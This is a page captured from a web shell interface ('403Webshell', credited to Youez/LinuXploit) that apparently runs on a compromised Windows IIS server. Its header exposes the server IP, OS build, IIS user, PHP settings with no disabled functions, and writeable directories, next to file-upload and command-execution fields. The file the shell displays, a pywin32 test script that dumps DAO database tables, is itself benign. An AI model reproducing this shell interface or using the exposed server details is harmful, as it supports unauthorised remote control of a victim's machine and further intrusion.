403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Program Files/Cloudbase Solutions/Cloudbase-Init/Python/Lib/site-packages/win32com/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Program Files/Cloudbase Solutions/Cloudbase-Init/Python/Lib/site-packages/win32com/test/daodump.py
# import dao3032
# No longer imported here - callers responsibility to load
#
import win32com.client


def DumpDB(db, bDeep=1):
    # MUST be a DB object.
    DumpTables(db, bDeep)
    DumpRelations(db, bDeep)
    DumpAllContainers(db, bDeep)


def DumpTables(db, bDeep=1):
    for tab in db.TableDefs:
        tab = db.TableDefs(tab.Name)  # Redundant lookup for testing purposes.
        print(
            "Table %s - Fields: %d, Attributes:%d"
            % (tab.Name, len(tab.Fields), tab.Attributes)
        )
        if bDeep:
            DumpFields(tab.Fields)


def DumpFields(fields):
    for field in fields:
        print(
            "  %s, size=%d, reqd=%d, type=%d, defVal=%s"
            % (
                field.Name,
                field.Size,
                field.Required,
                field.Type,
                str(field.DefaultValue),
            )
        )


def DumpRelations(db, bDeep=1):
    for relation in db.Relations:
        print(
            "Relation %s - %s->%s"
            % (relation.Name, relation.Table, relation.ForeignTable)
        )


#### This dont work.  TLB says it is a Fields collection, but apparently not!
####            if bDeep: DumpFields(relation.Fields)


def DumpAllContainers(db, bDeep=1):
    for cont in db.Containers:
        print("Container %s - %d documents" % (cont.Name, len(cont.Documents)))
        if bDeep:
            DumpContainerDocuments(cont)


def DumpContainerDocuments(container):
    for doc in container.Documents:
        import time

        timeStr = time.ctime(int(doc.LastUpdated))
        print("  %s - updated %s (" % (doc.Name, timeStr), end=" ")
        print(doc.LastUpdated, ")")  # test the _print_ method?


def TestEngine(engine):
    import sys

    if len(sys.argv) > 1:
        dbName = sys.argv[1]
    else:
        dbName = "e:\\temp\\TestPython.mdb"
    db = engine.OpenDatabase(dbName)
    DumpDB(db)


def test():
    for progid in ("DAO.DBEngine.36", "DAO.DBEngine.35", "DAO.DBEngine.30"):
        try:
            ob = win32com.client.gencache.EnsureDispatch(progid)
        except pythoncom.com_error:
            print(progid, "does not seem to be installed")
        else:
            TestEngine(ob)
            break


if __name__ == "__main__":
    test()

Youez - 2016 - github.com/yon3zu
LinuXploit